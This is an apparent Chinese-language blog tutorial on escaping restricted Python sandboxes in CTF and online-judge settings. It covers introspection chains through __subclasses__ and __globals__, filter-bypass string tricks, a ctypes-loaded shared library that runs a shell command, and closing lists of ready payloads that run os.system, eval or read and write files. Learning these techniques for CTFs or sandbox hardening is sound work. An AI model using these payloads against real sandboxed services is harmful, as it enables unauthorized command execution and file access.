本篇博客主要介绍了python沙箱逃逸的相关内容!

沙箱逃逸的概念

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。

命名空间

名空间是名称到对象的映射;按照变量定义的位置,有以下分类:

  • Local,局部命名空间,每个函数所拥有的命名空间,记录了函数中定义的所有变量
  • Global,全局命名空间,每个模块加载执行时创建的,记录了模块中定义的变量
  • Built-in,内建命名空间,任何模块均可访问

上述三种命名空间的生命周期如下:

  • Local,在函数调用时才被创建,当函数返回结果或抛出异常时被删除
  • Global,在模块加载时被创建,一直保留到python解释器退出
  • Built-in,在python解释器启动时创建,一直保留到python解释器退出

lenprint这些函数,我们并不需要引入模块而直接可以去调用,因此这些函数都来自内建命名空间

常用的内建属性

__class__

__class__type(),都可查看对象所在的类:

1
2
3
4
5
6
7
8
9
10
>>> class Student():
... def __init__(self, name):
... self.name = name
...
>>> stu = Student('ling')
>>> type(stu)
<class '__main__.Student'>
>>> stu.__class__
<class '__main__.Student'>
>>>

__base__

可以获取类的一个基类,一般情况下是object,有时不是,例如继承类的时候:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> class Student():
... def __init__(self, name):
... self.name = name
...
>>> stu = Student('ling')
>>> stu.__class__.__base__
<class 'object'>

>>> class Student2(Student):
... pass
...
>>> stu2 = Student2()
>>> stu2.__class__.__base__
<class '__main__.Student'>

__mro__

以元祖的形式返回整个继承链的关系:

1
2
>>> stu2.__class__.__mro__
(<class '__main__.Student2'>, <class '__main__.Student'>, <class 'object'>)

上面显示了Student2继承自StudentStudent继承自object;因此可以直接获取object类:

1
2
>>> stu2.__class__.__mro__[-1]
>>> <class 'object'>

__subclasses__()

上述两种方法可以得到object类,但如果代码中没有Student类,我们可以用利用python自带的对象(一切皆为对象):

1
2
3
4
5
6
7
8
>>> [].__class__.__base__
<class 'object'>
>>> ''.__class__.__base__
<class 'object'>
>>> ().__class__.__base__
<class 'object'>
>>> {}.__class__.__base__
<class 'object'>

得到object类后,就可以用__subclasses__()方法获得所有继承此类的子类:

1
2
>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>......

注:没有限制的话,object类是直接可以使用的

__dict__

我们在获得到一个模块时想调用模块中的方法,恰好该方法被过滤了,就可以用该方法bypass

1
2
3
4
5
>>> import os
>>> os.system('ls')
1 2
>>> os.__dict__['s'+'ystem']('ls')
1 2

与dir()作用相同,都是返回属性、方法等;但一些数据类型是没有__dict__属性的,如[].__dict__会返回错误

__dict__只会显示属于自己的属性,dir()除了显示自己的属性,还显示从父类继承来的属性

可以使用__dict__来间接调用一些属性或方法,如:

1
2
3
4
>>> a = []
>>> [].__class__.__dict__['append'](a, 'ling')
>>> a
['ling']

__init__

__init__用于初始化类,在沙盒逃逸中的作用就是为了得到function/method类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> class Base:
... def __init__(self, a, b):
... self.a = a
... def func():
... pass
...
>>> class Child(Base):
... pass
...
>>> Child
<class '__main__.Child'>
>>>
>>> Child.__init__
<function Base.__init__ at 0x7f40d32ed268>
>>> Child.func
<function Base.func at 0x7f40d32ed2f0>

__globals__

该属性是函数/方法特有的属性,记录当前文件的全局变量的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
>>> def func():
... pass
...
>>> dir(func)
['__annotations__', '__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get__', '__getattribute__', '__globals__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__kwdefaults__', '__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__', '__qualname__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']

>>> class Student:
... def __init__(self):
... pass
...
>>> stu = Student()
>>> stu.__init__
<bound method Student.__init__ of <__main__.Student instance at 0x7fba95e03cb0>>
>>> stu.__init__.__globals__
{'func': <function func at 0x7fba95db5d70>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'stu': <__main__.Student instance at 0x7fba95e03cb0>, 'Student': <class __main__.Student at 0x7fba95da29a8>, '__name__': '__main__', '__doc__': None}
>>> Student.__init__.__globals__
{'func': <function func at 0x7fba95db5d70>, '__builtins__': <module '__builtin__' (built-in)>, '__package__': None, 'stu': <__main__.Student instance at 0x7fba95e03cb0>, 'Student': <class __main__.Student at 0x7fba95da29a8>, '__name__': '__main__', '__doc__': None}
>>> Student.__init__
<unbound method Student.__init__>
>>>

按照上面的思路,我们可以用__base__获取到所有类的父类Object类,然后再用__subclasses__()获取所有继承此类的子类,这样我们就能成功的利用这些类了

如果该关键字被过滤了我们可以,以下两者等效

1
2
__init__.__globals__['sys']
__init__.__getattribute__('__global'+'s__')['sys']

builtins、builtinbuiltins

先说一下,builtinbuiltins__builtin____builtins__的区别:首先我们知道,在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类,上面说过。另外,Python 对函数、变量、类等等的查找方式是按 LEGB 规则来找的,其中 B 即代表内建模块。

在 2.x 版本中,内建模块被命名为 __builtin__,到了 3.x 就成了 builtins。它们都需要 import 才能查看:

2.x:

1
2
3
>>> import __builtin__
>>> __builtin__
<module '__builtin__' (built-in)>

3.x:

1
2
3
>>> import builtins
>>> builtins
<module 'builtins' (built-in)>

__builtins__ 两者都有,实际上是__builtin__builtins 的引用。它不需要导入,估计是为了统一 2.x 和 3.x。不过__builtins____builtin__builtins是有一点区别的,__builtins__ 相对实用一点,并且在 __builtins__里有很多好东西:

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

那么既然__builtins__有这么多危险的函数,不如将里面的危险函数破坏了:

1
__builtins__.__dict__['eval'] = 'not allowed'

或者直接删了:

1
del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__。不过,我们在使用 reload 的时候也没导入,说明reload也在 __builtins__里,那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。

这里注意,2.x 的 reload 是内建的,3.x 需要 import imp,然后再 imp.reload。同样也可以reload其他模块。

花式import

对于防御者来说,最基础的思路,就是对代码的内容进行检查
最常见的方法呢,就是禁止引入敏感的包,举个例子:

1
2
3
4
5
6
7
import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception

用以上的几行代码,就可以简单的完成对于敏感的包的检测

我们知道,要执行shell命令,必须引入os/commands/subprocess这几个包,
对于攻击者来说,改如何绕过呢,必须使用其他的引入方式

import

import可以用来导入一个包,在模块导入的时候,默认在当前目录下查找,然后再在系统中查找,系统查找的范围是sys.path下的所有路径:

import的本质是:搜索modules并绑定到局部变量

import module_name实质是将module_name.py中的全部代码加载到内存并赋值给与模块同名的变量写在当前文件中,这个变量的类型是module

现在设置一下modules中os的值为None:

1
2
3
4
5
>>> sys.modules['os'] = None
>>> import os
>>> Traceback (most recent call last):
>>> File "<stdin>", line 1, in <module>
>>> ImportError: No module named os

发现把os从modules中删去就不能直接引入了;但是,我们可以接着设置os的模块的路径,从而引入该模块:

1
2
3
>>> sys.modules['os'] = '/usr/lib/python2.7/os.py'
>>> import os
>>>

注意,这里不能用 del sys.modules['os'],因为,当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了 sys.modules['os'] 只会让 Python 重新加载一次 os。

看到这你肯定发现了,对于上面的过滤方式,绕过的方式可以是这样:

1
2
3
4
5
sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

如果sys模块也不能用,那么就不能通过设置路径来重新引入模块了,但可以使用python的内建函数:

  • execfile:execfile() 函数可以用来执行一个文件(python2)
  • exec:执行存储在字符串或文件中的python语句;python2的exec是一个内置语句而不是函数;python3将python2中的exec和execfile()功能整合到一个exec()函数中了

例如(python2):

1
2
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('ls /')

或者:

1
2
>>> exec open('/usr/lib/python2.7/os.py')
>>> system('ls /')

__import__()

__import__作为一个函数,只能接受字符串参数,返回值可以直接用来操作;通常在动态加载的时候用到这个函数

1
2
3
>>> __import__('re').findall('(hi)', 'hilinghi')
['hi', 'hi']
>>>

importlib

importlib模块是对import__import__()的补充;它也可以通过传入字符串来引入一个模块

1
2
3
>>> import importlib
>>> a = importlib.import_module('os')
>>> a.chdir('../')

dir 与 __dict__

这两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数
这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西

1
2
3
4
>>> A.__dict__
mappingproxy({'b': 'asdas', '__dict__': <attribute '__dict__' of 'A' objects>, 'a': 1, '__doc__': None, '__weakref__': <attribute '__weakref__' of 'A' objects>, 'c': <function A.c at 0x7f18ea25e510>, '__module__': '__main__'})
>>> dir(A)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'a', 'b', 'c']

常用的模块和方法

执行命令和代码

os模块

1
2
__import__("os").system("ls")
__import__("os").popen("ls").read()

platform模块

1
2
import platform
platform.popen('dir').read()

subprocess模块

1
2
3
4
5
6
7
import subprocess
subprocess.call('ls',shell=True)
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
# stdin, stdout, stderr: 分别表示程序标准输入、输出、错误句柄。

# python3
subprocess.run('ls',shell=True)

如果shell=True的话,curl命令是被Bash(Sh)启动,所以支持shell语法。 如果shell=False的话,启动的是可执行程序本身,后面的参数不再支持shell语法。

文件

file()函数

该函数只存在于Python2,Python3不存在

1
file('test.txt').read()

open()函数

1
open('text.txt').read()

bypass的一些套路

字符串过滤

如果沙箱对导入的包名称做了限制,我们可以在导入模块前先对模块名称做处理,如:

1
2
3
4
5
6
>>> 'os'.encode('base64')
'b3M=\n'
>>> a = __import__('b3M=\n'.decode('base64'))
>>> a.chdir('../')
>>> a.getcwd()
'/home'

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

1
2
3
4
__import__('so'[::-1]).system('ls')
b = 'o'
a = 's'
__import__(a+b).system('ls')

还可以利用 eval 或者 exec

1
2
3
4
5
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
macr0phag3
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
macr0phag3

eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤,因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等

getattr()

__globals__:返回一个当前空间下能使用的模块,方法和变量的字典

1
2
3
4
5
6
7
8
9
10
11
12
>>> class test():
... name="Moonback"
... def run(self):
... return "HelloWorld"
...
>>> t=test()
>>> getattr(t,"name")#获取name属性,存在就打印出来。
'Moonback'
>>> getattr(t,"run")#获取run方法,存在就打印出方法的内存地址。
<bound method test.run of <__main__.test object at 0x00000110F74FC4E0>>
>>> getattr(t,"run")() #获取run方法,后面加括号可以将这个方法运行。
'HelloWorld'

如果.被waf,可以用getattr()来替代。
payload:

1
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('ls')

转换过程

1
2
3
4
5
6
[].__class__ ==> getattr([],'__class__')
[].__class__.__base__ ==> getattr(getattr([],'__class__'),'__base__')
[].__class__.__base__.__subclasses__()[59] ==> getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59]#后面有括号
[].__class__.__base__.__subclasses__()[59].__init__ ==> getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__')
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'] ==> getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache']
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'] ==> getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os']

最终payload

1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__class__'),'__base__'),'__subclasses__')()[59],'__init__'),'__globals__')['linecache'],'__dict__')['os'],'system')('ls')

这种方法的好处是绕过.并且函数名或属性名都用字符串的方式写入payload中。那么可拓展的方法就有很多,例如:

如果_被waf了,可以用dir(0)[0][0]代替

1
2
>>> dir(0)[0][0]
'_'

比如上面的payload可以转换为

1
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'base'+dir(0)[0][0]*2),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)()[59],dir(0)[0][0]*2+'init'+dir(0)[0][0]*2),dir(0)[0][0]*2+'globals'+dir(0)[0][0]*2)['linecache'],dir(0)[0][0]*2+'dict'+dir(0)[0][0]*2)['os'],'system')('ls')

__getattribute__()

__getattribute__是属性访问拦截器,就是当这个类的属性被访问时,会自动调用类的__getattribute__方法。
通过__getattribute__我们可以传字符串来进行方法的调用

1
2
3
4
5
6
7
8
9
>>> class Test(object):
... def __init__(self):
... self.name='Test'
... def echo(self):
... print(self.name)
...
>>> a=Test()
>>> a.__getattribute__('echo')()
Test

应用场景: 比如说一个沙盒waf了’ls’导致属性’globals’不能用,那么payload

1
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')

可以转换为

1
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s')

func_globals: 这个属性指向定义函数时的全局命名空间,返回它所有调用的基类和函数
__init__: 返回一个函数对象
__dict__:返回所有属性,包括属性,方法等

构造so库

().__class__.__bases__[0].__subclasses__()中发现有可用的类

1
2
3
<type 'file'>
<class 'ctypes.CDLL'>
<class 'ctypes.LibraryLoader'>

构造一个so库,列一下/home/ctf/下的文件

1
2
3
4
5
6
#include <stdio.h>  
void my_init(void) __attribute__((constructor));
void my_init(void)
{
system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}

将编译好的so直接二进制写入/tmp/bk.so
使用ctypes加载so

1
().__class__.__bases__[0].__subclasses__()[86](().__class__.__bases__[0].__subclasses__()[85]).LoadLibrary('/tmp/bk.so')

f修饰符

在PEP 498中引入了新的字符串类型修饰符:f或F,用f修饰的字符串将可以执行代码。可以参考此文档 https://www.python.org/dev/peps/pep-0498/

只有在python3.6.0+的版本才有这个方法。简单来说,可以理解为字符串外层套了一个exec()

1
2
3
4
5
6
>>> f'{print("MoonBack")}'
MoonBack
'None'
>>> f'{__import__("os").system("dir")}'
驱动器 C 中的卷是 Windows
.....

这个有点类似于php中的<?php "${@phpinfo()}"; ?>,但python中没有将普通字符串转成f字符串的方法,所以实际使用时效果不明。

一些常用payload

利用file类完成文件读取

利用object子类中的file方法

1
().__class__.__bases__[0].__subclasses__()[40]

上述返回的内容是,相当于open()函数

1
2
().__class__.__bases__[0].__subclasses__()[40]('test.py').read()
# 等价于 open('test.py').read()

调用其他类中的OS模块完成命令执行

在当前沙箱中,import等模块被禁用,但是,在别的模块中如果本身加载有os的模块,我们是可以直接调用的。如下所示

1
2
3
4
5
6
7
8
9
class 'warnings.catch_warnings'
# 在这个类中,调用了os模块,我们可以间接把os模块调用进来。
# win 32
().__class__.__bases__[0].__subclasses__()[54]
# linux 2
().__class__.__bases__[0].__subclasses__()[59]
# linux 2
print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
# func_globals:返回一个包含函数全局变量的字典引用;

遍历找到其他的逃逸方法

通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,最后遍历 subclasses 列表,找到所有可以绕过的姿势。

包包哥的python2 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 利用file()函数读取文件:(写类似)
().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')
# 执行系统命令:
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')
# 重新载入__builtins__:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

# 利用 __getattibute__ 方法

x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

n3k0大哥的python3 payload
python3各个小版本之间有区别,有的payload可以用于py3.7 有的可以用于py3.5

1
2
3
4
5
6
7
8
9
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[104].__init__.__getattribute__('__global'+'s__')['sy'+'s'].modules['o'+'s'].__dict__['sy'+'stem']('ls')

参考:

www.gtfly.top/2019/07/25/python沙盒逃逸学习.[html](www.gtfly.top/2019/07/25/python沙盒逃逸学习.html)

https://xz.aliyun.com/t/52

https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/[](https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/)

https://www.freebuf.com/articles/system/203208.html

评论